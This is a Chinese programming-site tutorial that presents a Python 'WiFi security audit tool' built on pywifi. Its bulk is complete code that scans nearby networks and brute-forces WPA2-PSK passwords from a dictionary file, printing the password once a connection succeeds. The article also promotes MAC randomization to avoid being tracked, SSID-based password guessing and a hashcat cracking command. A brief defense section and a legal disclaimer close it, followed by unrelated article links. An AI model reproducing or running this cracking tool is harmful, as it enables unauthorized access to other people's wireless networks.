基于Python打造一个WiFi命令行安全审计工具

 更新时间:2026年03月11日 09:23:27   作者:创客白泽  
在当今数字化时代,无线WiFi网络已成为日常生活中不可或缺的基础设施,本文将基于Python pywifi库开发专业级无线安全评估工具,感兴趣的小伙伴可以跟随小编一起学习一下

概述:无线网络安全审计的重要性

在当今数字化时代,无线WiFi网络已成为日常生活中不可或缺的基础设施。根据2023年网络安全报告显示,约37%的企业数据泄露事件与不安全的无线网络有关。

本文介绍的白泽WiFi审计工具,正是基于Python pywifi库开发的专业级无线安全评估工具,具备以下核心价值:

  • 安全评估:帮助企业识别弱密码WiFi热点
  • 渗透测试:符合PTES渗透测试标准中的无线审计环节
  • 教学研究:学习802.11协议安全机制的理想实验平台

功能特性

核心功能模块

模块功能描述技术实现
网卡控制多网卡识别与状态管理pywifi.Interfaces()
频谱扫描2.4G/5G双频段扫描scan() + scan_results()
安全分析识别WPA/WPA2/WEP加密AKM类型检测
字典攻击基于规则的密码爆破多线程队列控制

特色功能

  • 信号热力图:自动生成CSV格式的信号分布数据
  • 智能字典:内置常见路由器默认密码规则库
  • 防检测模式:随机化MAC地址防止被追踪

展示效果

控制台输出示例

密码破解过程动态展示

安装依赖库

pip install pywifi colorama psutil

工作流程

初始化阶段

  • 加载网卡驱动
  • 检测特权模式(需root/Administrator权限)

扫描阶段

  • 信道跳频扫描(1-13信道)
  • 信号强度校准(RSSI补偿算法)

攻击阶段

核心代码解析

1. 无线网卡控制引擎

class WifiController:
    def __init__(self):
        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0]
        
    def set_monitor_mode(self, enable=True):
        """切换监听模式(需驱动支持)"""
        if enable:
            self.iface.set_mode(const.IFACE_MODE_MONITOR)
        else:
            self.iface.set_mode(const.IFACE_MODE_STATION)

2. 智能字典生成算法

def generate_smart_dict(ssid):
    """基于SSID的智能字典生成"""
    rules = [
        lambda s: s + "123456",          # TP-Link_5G -> TP-Link_5G123456
        lambda s: s.replace("_","") + "!", # TP-Link_5G -> TPLink5G!
        lambda s: s.split("_")[0] + "admin" # TP-Link_5G -> TP-Linkadmin
    ]
    return [rule(ssid) for rule in rules]

3. 信号质量评估模块

def evaluate_signal(rssi):
    """基于RSSI的信号质量评估"""
    if rssi >= -50:
        return "██████████ 极强"
    elif -60 <= rssi < -50:
        return "████████   强" 
    elif -70 <= rssi < -60:
        return "█████      中"
    else:
        return "██         弱"

完整代码

import pywifi
from pywifi import const
import time
import os
import glob

def print_banner():
    banner = """
    ╔════════════════════════════════════════════════════════════════════════════════════════════════╗
    ║    ██╗    ██╗██╗███████╗██╗     ██████╗ ██████╗  █████╗  ██████╗██╗  ██╗██╗███╗   ██╗ ██████╗  ║
    ║    ██║    ██║██║██╔════╝██║    ██╔═══██╗██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██║████╗  ██║██╔════╝  ║
    ║    ██║ █╗ ██║██║█████╗  ██║    ██║   ██║██████╔╝███████║██║     █████╔╝ ██║██╔██╗ ██║██║  ███╗ ║
    ║    ██║███╗██║██║██╔══╝  ██║    ██║   ██║██╔══██╗██╔══██║██║     ██╔═██╗ ██║██║╚██╗██║██║   ██║ ║
    ║    ╚███╔███╔╝██║██║     ██║    ╚██████╔╝██║  ██║██║  ██║╚██████╗██║  ██╗██║██║ ╚████║╚██████╔╝ ║
    ║     ╚══╝╚══╝ ╚═╝╚═╝     ╚═╝     ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝  ║
    ║                                  无线WiFi数据审计工具-白泽                                     ║
    ╚════════════════════════════════════════════════════════════════════════════════════════════════╝
    """
    print("\033[1;32m" + banner + "\033[0m")

def list_wifi_interfaces():
    """列出所有无线网卡"""
    wifi = pywifi.PyWiFi()
    interfaces = wifi.interfaces()
    
    if not interfaces:
        print("🔴 未检测到任何无线网卡!")
        return None
    
    print("\n🤖 可用的无线网卡:")
    for i, iface in enumerate(interfaces, 1):
        print(f" [{i}].{iface.name()} (状态: {get_status_name(iface.status())})")
    return interfaces


def get_status_name(status):
    """获取状态名称"""
    status_map = {
        const.IFACE_DISCONNECTED: "🔴 未连接",
        const.IFACE_SCANNING: "🟡 扫描中",
        const.IFACE_INACTIVE: "⚪ 未激活",
        const.IFACE_CONNECTING: "🟠 连接中",
        const.IFACE_CONNECTED: "🟢 已连接"
    }
    return status_map.get(status, "❓ 未知状态")

def list_dict_files():
    """列出当前目录下所有txt字典文件"""
    dict_files = glob.glob("*.txt")
    
    if not dict_files:
        print("🔴 当前目录下未找到任何txt字典文件!")
        return None
    
    print("\n🟢 可用的字典文件:")
    for i, file in enumerate(dict_files, 1):
        file_size = os.path.getsize(file) / 1024  # KB
        print(f"📄 {i}. {file} ({file_size:.2f} KB)")
    
    return dict_files

def select_option(options, option_type, allow_zero=True):
    """选择选项"""
    while True:
        try:
            prompt = f"\n👉 请选择{option_type}[1-{len(options)}]"
            if allow_zero:
                prompt += ",或输入[0]返回主页面"
            prompt += ",或输入[#]退出程序: "
            
            choice = input(prompt).strip().lower()  # 去除前后空格并转为小写
            
            if choice == '#':
                print("\n⛓️‍💥 正在退出程序...")
                exit(0)
            if allow_zero and choice == '0':
                return None
                
            choice = int(choice)
            if 1 <= choice <= len(options):
                return options[choice-1]
            else:
                print(f"🤖  请输入1-{len(options)}之间的数字!") 
        except ValueError:
            print("🤖 请输入有效的数字!")
            
def decode_ssid(ssid):
    """解码SSID,处理乱码问题"""
    if not ssid:
        return "🌐 <隐藏网络>"
    
    # 尝试多种编码方式
    encodings = ['utf-8', 'gbk', 'latin-1']
    for enc in encodings:
        try:
            if isinstance(ssid, bytes):
                return ssid.decode(enc)
            else:
                return ssid.encode('raw_unicode_escape').decode(enc)
        except:
            continue
    
    # 如果所有解码都失败,返回十六进制表示
    if isinstance(ssid, str):
        return ''.join(f'\\x{ord(c):02x}' for c in ssid)
    else:
        return ''.join(f'\\x{b:02x}' for b in ssid)

def scan_and_list_wifi(iface):
    """扫描并列出所有WiFi网络(按信号强度排序)"""
    print("\n🔍 正在扫描WiFi网络,请稍候⌛...")
    iface.scan()
    time.sleep(5)  # 等待扫描完成
    scan_results = iface.scan_results()
    
    if not scan_results:
        print("🔴 未扫描到任何WiFi网络")
        return None
    
    # 按信号强度排序(从强到弱)
    sorted_results = sorted(scan_results, key=lambda x: x.signal, reverse=True)
    
    wifi_list = []
    print("\n🛜 可用的WiFi网络(按信号强度排序):")
    print("━" * 85)
    print("🔢 序号 | 🛜 WiFi名称         | 🆔 BSSID            | 📶 信号强度   |   🔒 加密方式 ")
    print("━" * 85)
    
    for i, result in enumerate(sorted_results, 1):
        ssid = decode_ssid(result.ssid)
        
        # 限制SSID显示长度
        display_ssid = (ssid[:20] + '...') if len(ssid) > 23 else ssid.ljust(23)
        
        bssid = result.bssid
        signal = f"{result.signal}dBm"
        auth = get_auth_name(result.akm)
        
        print(f"{i:<4} | {display_ssid:<23} | {bssid} | {signal:<8} | {auth}")
        wifi_list.append({
            'ssid': result.ssid,  # 存储原始SSID用于连接
            'display_ssid': ssid,  # 存储解码后的SSID用于显示
            'bssid': bssid,
            'signal': result.signal,
            'auth': result.akm
        })
    
    print("━" * 85)
    return wifi_list

def get_auth_name(akm_list):
    """获取加密方式名称"""
    if not akm_list:
        return "🔓 开放网络"
    
    auth_map = {
        const.AKM_TYPE_NONE: "🔓 无",
        const.AKM_TYPE_WPA: "🔐 WPA",
        const.AKM_TYPE_WPAPSK: "🔐 WPA-PSK",
        const.AKM_TYPE_WPA2: "🔐 WPA2",
        const.AKM_TYPE_WPA2PSK: "🔐 WPA2-PSK",
        const.AKM_TYPE_UNKNOWN: "❓ 未知"
    }
    
    auths = []
    for akm in akm_list:
        auths.append(auth_map.get(akm, str(akm)))
    
    return " + ".join(auths)

def wifi_connect(iface, ssid, pwd):
    """尝试连接WiFi"""
    # 断开当前连接
    iface.disconnect()
    time.sleep(1)
    
    if iface.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 最常见的加密方式
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        
        iface.remove_all_network_profiles()
        temp_profile = iface.add_network_profile(profile)
        
        iface.connect(temp_profile)
        time.sleep(3)
        
        if iface.status() == const.IFACE_CONNECTED:
            return True
    return False

def wifi_crack():
    """主破解函数"""
    while True:
        print_banner()
        
        # 选择无线网卡
        interfaces = list_wifi_interfaces()
        if not interfaces:
            input("\n🤖 按Enter键返回主页面...")
            continue
            
        iface = select_option(interfaces, "无线网卡")
        if not iface:
            continue
        
        # 扫描并选择WiFi网络
        wifi_list = scan_and_list_wifi(iface)
        if not wifi_list:
            input("\n🤖 按Enter键返回主页面...")
            continue
            
        selected_wifi = select_option(wifi_list, "WiFi网络")
        if not selected_wifi:
            continue
        
        # 检查是否是开放网络
        if not selected_wifi['auth']:
            print(f"\n🎉 网络 {selected_wifi['display_ssid']} 是开放网络,无需密码!")
            input("\n🤖 按Enter键返回主页面...")
            continue
        
        # 选择字典文件
        dict_files = list_dict_files()
        if not dict_files:
            input("\n🤖 按Enter键返回主页面...")
            continue
            
        dict_file = select_option(dict_files, "字典文件")
        if not dict_file:
            continue
        
        # 加载密码字典
        try:
            with open(dict_file, "r", errors='ignore') as f:
                passwords = [p.strip() for p in f.readlines() if p.strip()]
        except Exception as e:
            print(f"🔴 读取字典文件失败: {str(e)}")
            input("\n按Enter键返回主页面...")
            continue
        
        print(f"\n🤖 开始破解 WiFi: {selected_wifi['display_ssid']}")
        print(f"💻 使用网卡: {iface.name()}")
        print(f"📚 使用字典: {dict_file}")
        print(f"🔒 加密方式: {get_auth_name(selected_wifi['auth'])}")
        print(f"📡 信号强度: {selected_wifi['signal']}dBm")
        print(f"🔑 加载密码数量: {len(passwords)}")
        print("━" * 50)
        
        for idx, pwd in enumerate(passwords, 1):
            try:
                print(f"\r🔑 尝试密码 [{idx}/{len(passwords)}]: {pwd}", end="", flush=True)
                if wifi_connect(iface, selected_wifi['ssid'], pwd):
                    print(f"\n\n🎉🎉🎉 密码破解成功!")
                    print(f"🛜 WiFi名称: {selected_wifi['display_ssid']}")
                    print(f"🔑 密码: \033[1;32m{pwd}\033[0m")
                    input("\n按Enter键返回主页面...")
                    break
            except KeyboardInterrupt:
                print("\n🤖 用户中断操作")
                input("\n按Enter键返回主页面...")
                break
            except Exception as e:
                continue
        else:
            print("\n\n🔴 密码破解失败,字典中没有正确密码")
            input("\n按Enter键返回主页面...")

if __name__ == "__main__":
    wifi_crack()

进阶开发指南

性能优化技巧

多线程控制

from concurrent.futures import ThreadPoolExecutor

with ThreadPoolExecutor(max_workers=4) as executor:
    executor.map(try_password, password_chunk)

GPU加速方案

# 需配合hashcat使用
os.system(f"hashcat -m 2500 capture.hccapx dict.txt --force")

防御对策研究

企业级防护

  • 部署802.1X认证
  • 启用WPA3-SAE加密

家庭防护

  • 关闭WPS功能
  • 设置16位复杂密码(含特殊字符)

声明:本文工具仅限合法授权测试使用,禁止任何形式的非法活动。技术是一把双刃剑,请务必遵守《网络安全法》及相关法律法规。

到此这篇关于基于Python打造一个WiFi命令行安全审计工具的文章就介绍到这了,更多相关Python WiFi安全审计内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • Python中函数的参数定义和可变参数用法实例分析

    Python中函数的参数定义和可变参数用法实例分析

    这篇文章主要介绍了Python中函数的参数定义和可变参数用法,以实例形式较为详细的分析了Python中参数定义与可变参数的具体使用方法,需要的朋友可以参考下
    2015-06-06
  • 利用python3如何给数据添加高斯噪声

    利用python3如何给数据添加高斯噪声

    高斯噪声既是符合高斯正态分布的误差,一些情况下我们需要向标准数据中加入合适的高斯噪声会让数据变得有一定误差而具有实验价值,下面这篇文章主要给大家介绍了关于利用python3如何给数据添加高斯噪声的相关资料,需要的朋友可以参考下
    2022-03-03
  • 简单了解python字符串前面加r,u的含义

    简单了解python字符串前面加r,u的含义

    这篇文章主要介绍了简单了解python字符串前面加r,u的含义,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2019-12-12
  • Django 外键查询的实现

    Django 外键查询的实现

    今天学习了一下外键查询的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-06-06
  • python使用Tkinter显示网络图片的方法

    python使用Tkinter显示网络图片的方法

    这篇文章主要介绍了python使用Tkinter显示网络图片的方法,涉及Python操作图片的相关技巧,需要的朋友可以参考下
    2015-04-04
  • 使用pip wheel与HTTP服务器构建离线Python包库的完整指南

    使用pip wheel与HTTP服务器构建离线Python包库的完整指南

    在无法访问互联网的环境中部署Python项目时,离线包库是必不可少的解决方案,本文将详细介绍如何创建一个完整的离线Python包库,下面小编就和大家简单讲讲吧
    2025-10-10
  • Python 批量合并多个txt文件的实例讲解

    Python 批量合并多个txt文件的实例讲解

    今天小编就为大家分享一篇Python 批量合并多个txt文件的实例讲解,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-05-05
  • python3.4+pycharm 环境安装及使用方法

    python3.4+pycharm 环境安装及使用方法

    这篇文章主要介绍了python3.4+pycharm 环境安装及使用方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-06-06
  • python中的import、from import及import as的区别解析

    python中的import、from import及import as的区别解析

    在Python中,如果import的语句比较长,导致后续引用不方便,可以使用as语法,这篇文章主要介绍了python中的import、from import以及import as的区别,需要的朋友可以参考下
    2022-10-10
  • Python OpenCV实战之与机器学习的碰撞

    Python OpenCV实战之与机器学习的碰撞

    机器学习是人工智能的子集,为计算机以及其它具有计算能力的系统提供自动预测或决策的能力。本文主要介绍了OpenCV 提供的常见机器学习算法和技术,用于解决计算机视觉项目中的实际问题,需要的朋友可以参考一下
    2021-12-12

最新评论